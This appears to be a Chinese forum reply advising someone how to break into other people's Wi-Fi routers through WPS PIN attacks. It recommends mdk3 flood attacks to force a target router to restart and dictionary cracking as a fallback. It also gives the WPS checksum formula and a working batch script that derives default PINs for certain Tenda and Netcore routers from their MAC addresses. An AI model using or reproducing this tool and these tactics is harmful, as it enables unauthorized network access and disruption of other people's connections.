這個多半是人家路由器安全性能高,防PIN才會這樣,要看運氣了,妳也可以換個時間段試試,或者攻擊人家路由器讓人家重啟路由器試試(用mdk3做洪水攻擊),如果還是PIN不動就只能跑字典了。樓上推測妳的PIN碼,只對於壹些老路由器有效,新出的都沒用了。這些老款路由器也只是針對騰達MAC地址前6位是C83A35或者00B00C及磊科的部分產品(實際上是後6位轉換成十進制),我試了很多都沒用了。至於樓上說的第8位校驗碼不需要壹個個試,可以計算的,第八位=30-3x(第1位+第3位+第5位+第7位)-(第2位+第4位+第6位)
關於騰達MAC地址前6位是C83A35或者00B00C及磊科的部分產品PIN計算和PIN校驗碼計算,寫了下面腳本,保存成.bat格式文件運行。
@echo off
title PIN碼計算器[Z-Y-J]
mode con: cols=50 lines=15
color 27
:main
cls
echo -------------------------------------------------
echo 此計算器只對騰達MAC地址前6位是C83A35或者00B00C及磊科的部分產品有效。提示:輸入PIN+7位PIN碼可計算出校驗碼(pin1234567)
echo -------------------------------------------------
echo.
set "mac="
set/p mac= 請輸入AP的MAC地址後6位:
::判斷輸入是否合法
if not defined mac goto main
set "mac=%mac: =%"
if not defined mac goto main
::如果輸入以PIN開頭則直接調用checkcode模塊計算校驗碼
set "tmp="
set "tmp=%mac:~0,3%"
if /i "%tmp%" equ "pin" (
set "mac=%mac:~3,7%" goto checkcode)
set "mac=%mac:~-6%"
set "tmp="
set "tmp=%mac:~5,1%"
if not defined tmp (
echo MAC地址長度不正確! call :timeout goto main)
::將16進制轉換成10進制
set/a mac=0x%mac% 2>nul || (
echo MAC格式不正確! call :timeout goto main)
set "mac=%mac:~0,7%"
set "tmp="
set "tmp=%mac:~6,1%"
if not defined? tmp set "mac=0%mac%"
::計算校驗碼
:checkcode
if not defined mac (
echo PIN前7位輸入有誤! call :timeout goto main)
::定義變量mac的第1位到第7位分別為n1,n2...n7
set "n1=%mac:~0,1%"
set "n2=%mac:~1,1%"
set "n3=%mac:~2,1%"
set "n4=%mac:~3,1%"
set "n5=%mac:~4,1%"
set "n6=%mac:~5,1%"
set "n7=%mac:~6,1%"
set/a n8=30-3*(%n1%+%n3%+%n5%+%n7%)-(%n2%+%n4%+%n6%) 2>nul || (
echo PIN前7位輸入有誤! call :timeout goto main)
set "tmp="
set "tmp=%n8:~-1%"
if %n8% geq 0 (
set/a n8=%tmp%) else (
set/a n8=10-%tmp%)
set "pin=%mac%%n8%"
echo.
echo PIN碼為:%pin%
echo.&echo.&echo.&echo.
echo? 按任意鍵繼續!
pause >nul
goto main
:timeout
ping -n 3 127.0.1>nul
goto :eof